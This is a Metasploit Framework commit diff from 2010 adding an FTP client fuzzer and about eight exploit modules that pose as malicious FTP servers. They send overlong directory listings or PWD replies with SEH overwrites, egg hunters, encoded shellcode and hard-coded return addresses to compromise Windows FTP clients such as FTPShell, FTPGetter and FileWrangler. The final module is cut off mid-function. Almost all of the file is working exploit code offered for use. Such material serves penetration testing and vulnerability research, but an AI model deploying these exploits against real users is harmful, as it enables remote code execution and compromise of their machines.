add ftp client fuzzer and exploits from corelanc0d3r!

git-svn-id: file:///home/svn/framework3/trunk@10658 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-10-12 17:31:18 +00:00
parent c7fc361140
commit ad4064ed20
12 changed files with 1559 additions and 0 deletions

View File

@ -0,0 +1,431 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
#
# Fuzzer written by corelanc0d3r - <peter.ve [at] corelan.be>
# http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/
#
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Exploit::Remote::TcpServer
def initialize()
super(
'Name' => 'Simple FTP Client Fuzzer',
'Description' => %q{
This module will serve an FTP server and perform FTP client interaction fuzzing
},
'Author' => [ 'corelanc0d3r' ],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
]
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz.", "LIST,NLST,LS,RETR" ]),
OptInt.new('STARTSIZE', [ true, "Fuzzing string startsize.",1000]),
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
OptString.new('WELCOME', [ true, "FTP Server welcome message.","Evil FTP Server Ready"]),
OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's (fuzzing payload).",true]),
OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
], self.class)
end
#---------------------------------------------------------------------------------
def setup
super
@state = {}
end
#---------------------------------------------------------------------------------
def run
@fuzzsize=datastore['STARTSIZE'].to_i
exploit()
end
#---------------------------------------------------------------------------------
# Handler for new FTP client connections
#---------------------------------------------------------------------------------
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil
}
#set up an active data port on port 20
print_status("Client connected : " + c.peerhost)
active_data_port_for_client(c, 20)
send_response(c,"","WELCOME",220," "+datastore['WELCOME'])
#from this point forward, on_client_data() will take over
end
def on_client_close(c)
@state.delete(c)
end
#---------------------------------------------------------------------------------
# Active and Passive data connections
#---------------------------------------------------------------------------------
def passive_data_port_for_client(c)
@state[c][:mode] = :passive
if(not @state[c][:passive_sock])
s = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
dport = s.getsockname[2]
@state[c][:passive_sock] = s
@state[c][:passive_port] = dport
print_status(" - Set up passive data port #{dport}")
end
@state[c][:passive_port]
end
def active_data_port_for_client(c,port)
@state[c][:mode] = :active
connector = Proc.new {
host = c.peerhost.dup
sock = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
}
@state[c][:active_connector] = connector
@state[c][:active_port] = port
print_status(" - Set up active data port #{port}")
end
def establish_data_connection(c)
print_status(" - Establishing #{@state[c][:mode]} data connection")
begin
Timeout.timeout(20) do
if(@state[c][:mode] == :active)
return @state[c][:active_connector].call()
end
if(@state[c][:mode] == :passive)
return @state[c][:passive_sock].accept
end
end
print_status(" - Data connection active")
rescue ::Exception => e
print_error("Failed to establish data connection: #{e.class} #{e}")
end
nil
end
#---------------------------------------------------------------------------------
# FTP Client-to-Server Command handlers
#---------------------------------------------------------------------------------
def on_client_data(c)
#get the client data
data = c.get_once
return if not data
#split data into command and arguments
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
return if not cmd
#convert commands to uppercase and strip spaces
case cmd.upcase.strip
when 'USER'
@state[c][:user] = arg
send_response(c,arg,"USER",331," User name okay, need password")
return
when 'PASS'
@state[c][:pass] = arg
send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")
return
when 'QUIT'
if (datastore['RESET'])
print_status("Resetting fuzz settings")
@fuzzsize = datastore['STARTSIZE']
@stepsize = datastore['STEPSIZE']
end
print_status("** Client disconnected **")
send_response(c,arg,"QUIT",221," User logged out")
return
when 'SYST'
send_response(c,arg,"SYST",215," UNIX Type: L8")
return
when 'TYPE'
send_response(c,arg,"TYPE",200," Type set to #{arg}")
return
when 'CWD'
send_response(c,arg,"CWD",250," CWD Command successful")
return
when 'PWD'
send_response(c,arg,"PWD",257," \"/\" is current directory.")
return
when 'REST'
send_response(c,arg,"REST",200," OK")
return
when 'XPWD'
send_response(c,arg,"PWD",257," \"/\" is current directory")
return
when 'SIZE'
send_response(c,arg,"SIZE",213," 1")
return
when 'MDTM'
send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
return
when 'CDUP'
send_response(c,arg,"CDUP",257," \"/\" is current directory")
return
when 'PORT'
port = arg.split(',')[4,2]
if(not port and port.length == 2)
c.put("500 Illegal PORT command.\r\n")
return
end
port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
active_data_port_for_client(c, port)
send_response(c,arg,"PORT",200," PORT command successful")
return
when 'PASV'
print_status("Handling #{cmd.upcase} command")
daddr = Rex::Socket.source_address(c.peerhost)
dport = passive_data_port_for_client(c)
@state[c][:daddr] = daddr
@state[c][:dport] = dport
pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')
dofuzz = fuzz_this_cmd("PASV")
code = 227
if datastore['ERROR']
code = 557
end
if (dofuzz==1)
print_status(" * Fuzzing response for PASV, payload length #{@fuzzdata.length}")
send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n")
incr_fuzzsize()
else
send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")
end
return
when /^(LIST|NLST|LS)$/
#special case - requires active/passive connection
print_status("Handling #{cmd.upcase} command")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
if datastore['ERROR']
code = 550
end
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
if datastore['ERROR']
code = 550
end
c.put("#{code} Directory send ok.\r\n")
strfile = "passwords.txt"
strfolder = "Secret files"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strfile = @fuzzdata + ".txt"
strfolder = @fuzzdata
paylen = @fuzzdata.length
print_status("* Fuzzing response for LIST, payload length #{paylen}")
incr_fuzzsize()
end
print_status(" - Sending directory list via data connection")
dirlist = ""
if datastore['EXTRALINE']
extra = "\r\n"
else
extra = ""
end
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n" + extra
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}\r\n" + extra
conn.put("total 2\r\n"+dirlist)
conn.close
return
when 'RETR'
#special case - requires active/passive connection
print_status("Handling #{cmd.upcase} command")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
strcontent = "blahblahblah"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strcontent = @fuzzdata
paylen = @fuzzdata.length
print_status("* Fuzzing response for RETR, payload length #{paylen}")
incr_fuzzsize()
end
c.put("150 Opening BINARY mode data connection #{strcontent}\r\n")
print_status(" - Sending data via data connection")
conn.put(strcontent)
c.put("226 Transfer complete\r\n")
conn.close
return
when /^(STOR|MKD|REM|DEL|RMD)$/
send_response(c,arg,cmd.upcase,500," Access denied")
return
when 'FEAT'
send_response(c,arg,"FEAT","","211-Features:\r\n211 End")
return
when 'HELP'
send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")
when 'SITE'
send_response(c,arg,"SITE",200," OK")
return
when 'NOOP'
send_response(c,arg,"NOOP",200," OK")
return
when 'ABOR'
send_response(c,arg,"ABOR",225," Abor command successful")
return
when 'ACCT'
send_response(c,arg,"ACCT",200," OK")
return
when 'RNFR'
send_response(c,arg,"RNRF",350," File exists")
return
when 'RNTO'
send_response(c,arg,"RNTO",350," File exists")
return
else
send_response(c,arg,cmd.upcase,200," Command not understood")
return
end
return
end
#---------------------------------------------------------------------------------
# Fuzzer functions
#---------------------------------------------------------------------------------
# Do we need to fuzz this command ?
def fuzz_this_cmd(cmd)
@fuzzcommands = datastore['FUZZCMDS'].split(",")
fuzzme = 0
@fuzzcommands.each do |thiscmd|
if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)
fuzzme = 1
end
end
if fuzzme==1
# should we use a cyclic pattern, or just A's ?
if datastore['CYCLIC']
@fuzzdata = Rex::Text.pattern_create(@fuzzsize)
else
@fuzzdata = "A" * @fuzzsize
end
end
return fuzzme
end
def incr_fuzzsize
@stepsize = datastore['STEPSIZE'].to_i
@fuzzsize = @fuzzsize + @stepsize
print_status("(i) Setting next payload size to #{@fuzzsize}")
if (@fuzzsize > datastore['ENDSIZE'].to_i)
@fuzzsize = datastore['ENDSIZE'].to_i
end
end
# Send data back to the server
def send_response(c,arg,cmd,code,msg)
if arg.length > 40
showarg = arg[0,40] + "..."
else
showarg = arg
end
if cmd.length > 40
showcmd = cmd[0,40] + "..."
else
showcmd = cmd
end
print_status("Sending response for '#{showcmd}' command, arg #{showarg}")
dofuzz = fuzz_this_cmd(cmd)
## Fuzz this command ? (excluding PASV, which is handled in the command handler)
if (dofuzz==1) && (cmd.upcase != "PASV")
paylen = @fuzzdata.length
print_status("* Fuzzing response for #{cmd.upcase}, payload length #{paylen}")
if datastore['ERROR']
code = "550 "
end
if cmd=="FEAT"
@fuzzdata = "211-Features:\r\n @fuzzdata\r\n211 End"
end
if cmd=="PWD"
@fuzzdata = " \"/"+@fuzzdata+"\" is current directory"
end
cmsg = code.to_s + " " + @fuzzdata
c.put("#{cmsg}\r\n")
print_status("* Fuzz data sent")
incr_fuzzsize()
else
#Do not fuzz
cmsg = code.to_s + msg
cmsg = cmsg.strip
c.put("#{cmsg}\r\n")
end
return
end
end

View File

@ -0,0 +1,110 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => '32bit FTP Client Stack Buffer Overflow ',
'Description' => %q{
This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
download a file that has an overly long filename.
},
'Author' =>
[
'fancy', # found the bug
'corelanc0d3r' # helped writing this module
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED } ], #RETN 32bitftp.exe
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
code = 150
c.put("#{code} OK.\r\n")
code = 226
c.put("#{code} Directory ok.\r\n")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
filename = "\x02" #prevent crash
filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter
filename << " " * 77
#custom encoded egg hunter
filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
filename << "\x4b\x4f\x4d\x37\x41\x41"
filename << " " * (target['Offset']-filename.length)
addr1 = "\x40\x60\x3A\x76" # RW imm32.dll
addr2 = "\x44\x54\x48\x00" # data section 32bitftp.exe
addr3 = [target.ret].pack('V') # b00m !
strfile = filename
strfile << addr3
strfile << addr2
strfile << addr1
strfile << "w00tw00t"
strfile << payload.encoded
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.bin\r\n\r\n"
conn.put(dirlist)
conn.close
print_status(" - LIST sent, wait for user to double click file...")
return
end
end

View File

@ -0,0 +1,90 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)',
'Description' => %q{
This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when processing the response on a LIST command. During the overflow, a structured exception handler record gets overwritten.
},
'Author' =>
[
'corelanc0d3r', #found bug and wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP SP3 Universal', { 'Offset' => 6340,'Ret' => 0x61181674 } ], # ppr [pthreadgc2.dll]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
#---------------------------------------------------------------------------------
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
offset_to_nseh = target['Offset']
filename = "admin passwords.txt"
padding = " " * (offset_to_nseh-filename.length)
nseh = "\xeb\x0c\x41\x41"
seh = [target.ret].pack('V') #\x74\x16 = jump
nops = "A" * 30
junk2 = "A" * 5000
#dual offsets to seh
buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
conn.put(dirlist)
conn.close
print_status(" - Payload sent")
return
end
end

View File

@ -0,0 +1,114 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'FileWrangler 5.30 Buffer Overflow',
'Description' => %q{
This module exploits an SEH overwrite in the FileWrangler client
that is triggered when the client connects to a FTP server and lists
the directory contents, containing an overly long directory name..
},
'Author' =>
[
'nullthreat', # found bug
'corelanc0d3r' # wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 3000,
'BadChars' => "\x00\x0d\x1a\x2a\x51",
'StackAdjustment' => -5000,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Offset' => 4082, 'Ret' => 0x0042BE63 } ], #ppr [wrangler.exe]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
# create the egg hunter
print_status(" - Creating the Egg Hunter")
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
# create hunter
predator = "\x90" * 42
predator << hunter
# create the crash payload
crash = rand_text_alpha(target['Offset'] - (egg.length + predator.length))
# Set nseh to jump back 50 (before egghunter)
jmp = "\x90" * 5 + "\xE9\xC9\xFF\xFF\xFF"
nseh = "\xEB\xF9\x90\x90" # NSEH
seh = [target.ret].pack('V')
print_status(" - Building the Buffer")
buffer = crash + egg + predator + jmp + nseh + seh
strfolder = buffer + "B" * (5000-buffer.length) #make sure it dies
print_status(" - Sending directory list via data connection")
dirlist ="drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n"
conn.put(dirlist)
conn.close
print_status(" - Waiting for egghunter...")
return
end
end

View File

@ -0,0 +1,91 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',
'Description' => %q{
This module exploits a SEH overflow in FTPGetter Standard v3.55.0.05 ftp client, triggered
when processing the response on a PWD command.
},
'Author' =>
[
'ekse', # found the bug
'corelanc0d3r', # wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_pass(c,arg)
@state[c][:pass] = arg
c.put("230 OK #{@egg}\r\n")
return
end
def on_client_command_pwd(c,arg)
junk1 = "A" * target['Offset']
junk2 = "A" * 9
nseh = "\x74\x06\x41\x41"
jmp = "\x75\x08"
seh = [target.ret].pack('V')
junk3 = "D" * 22000
#dual offset
buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3
c.put("257 \"/\" #{buffer}\r\n")
print_status("Sent payload, #{buffer.length} bytes")
print_status("Wait for hunter ...")
return
end
end

View File

@ -0,0 +1,98 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'FTPPad 1.2.0 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client.
The overflow is triggered when the client connects to a FTP server
which sends an overly long directory and filename in response to a
LIST command.
This will cause an access violation, and will eventually overwrite the
saved extended instruction pointer.
Payload can be found at EDX+5c and ESI+5c, so a little pivot/sniper was needed
to make this one work.
},
'Author' =>
[
'corelanc0d3r'
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 3000,
'BadChars' => "\x00\x0a\x2f\x5c\xff\x0c\x0d\x08\x09",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
#shlwapi sniper + pivot : MOV DWORD PTR DS:[EDX],EAX + CALL ESI
[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5912', { 'Ret' => 0x77FA6556 } ],
[ 'XP SP3 Professional, German - shlwapi 6.00.2900.5912' , { 'Ret' => 0x77f86556 } ],
[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5512', { 'Ret' => 0x77FA6526 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
totalsize = 13000
foldername = "A" * 24 + payload.encoded + ("A" * (3318-payload.encoded.length))
#EDX+5c and ESI+5c point at shellcode
#we control EAX and EIP
#use value in EAX to write to EDX (to make a jump forward, about 5c bytes)
#and then jump to ESI (which will then execute the jump forward, to payload)
foldername << [target.ret].pack('V') # MOV DWORD PTR DS:[EDX],EAX # ... # CALL ESI
foldername << "\x41\x41\x75\x5B" # EAX -> 75 5B = JNZ SHORT -> shellcode
foldername << " " * (totalsize - foldername.length)
print_status(" - Sending directory list via data connection")
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{foldername}\r\n"
conn.put(dirlist + dirlist + dirlist + dirlist)
conn.close
return
end
end

View File

@ -0,0 +1,86 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::FtpServer
include Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
'Description' => %q{ This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
triggered when the ftp clients tries to process an overly response to a PWD command.
This will overwrite the saved EIP and structured exception handler.
},
'Author' =>
[
'corelanc0d3r' #found bug, wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], #jmp ebp [setupapi.dll]]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_pwd(c,arg)
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "w00t"
}
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
print_status(" - PWD command -> Sending payload")
junk = "A" * target['Offset']
nops = "A" * 10
tweakhunter = "\x5a\x5a"
eip = [target.ret].pack('V')
buffer = junk + eip + nops + tweakhunter + hunter + egg
pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"
c.put(pwdoutput)
print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
return
end
end

View File

@ -0,0 +1,104 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'FTP Synchronizer Professional 4.0.73.274',
'Description' => %q{ This module exploits a stack buffer overflow vulnerability in
FTP Synchronizer Pro 4.0.73.274
The overflow gets triggered by sending an overly long filename to the client
in response to a LIST command.
The LIST command gets issued when doing a preview or when you have just created a new
sync profile and allow the tool to see the differences.
This will overwrite a structured exception handler and trigger an access violation.
},
'Author' =>
[
'myne-us', #found the bug
'corelanc0d3r' #wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x2f\x5c",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 854, 'Ret' => "\x2D\x78" } ], # p/p/r FTPSynchronizer.exe
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
totalsize = 4000
foldername = "A" * target['Offset']
nseh = "\x61\x42"
seh = "\x2D\x78"
sehpad = "\x44\x62"
align = "\x53\x62\x58\x62"
align << "\x40\x62"
align << "\x05\x11\x10\x62"
align << "\x2d\x10\x10\x62"
padding = ("\x42\x62" * 53) + ("\x48\x62")
#basereg EAX, Unicode encoded egghunter
hunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ"
hunter << "ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX"
hunter << "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
hunter << "BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4"
hunter << "4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"
buffer = foldername + nseh + seh + sehpad + align + padding + hunter
junk = "D" * (totalsize-buffer.length)
buffer << junk
print_status(" - Sending directory list via data connection")
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{"w00tw00t"+payload.encoded}\r\n"
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
conn.put("total 2\r\n"+dirlist)
print_status(" - Payload sent, wait for hunter...")
conn.close
return
end
end

View File

@ -0,0 +1,113 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
include Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Gekko Manager FTP Client Stack Buffer Overflow ',
'Description' => %q{
This module exploits a SEH overflow in Gekko Manager ftp client, triggered when
processing the response received after sending a LIST request.
If this response contains a long filename, a buffer overflow occurs, overwriting
a structured exception handler.
},
'Author' =>
[
'nullthreat', # found the bug
'corelanc0d3r', # wrote the exploit
],
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP SP3 Universal', { 'Offset' => 376, 'Ret' => 0x00553C72 } ], # ppr Gekko manager.exe
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
#---------------------------------------------------------------------------------
def setup
super
badchars = "\x00\xff\x0d\x5c\x2f\x0a"
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
enchunter = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], @hunter, ::Msf::Module::PlatformList.win32, badchars)
@hunter = enchunter
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_pass(c,arg)
c.put("230 OK #{@egg}\r\n")
return
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
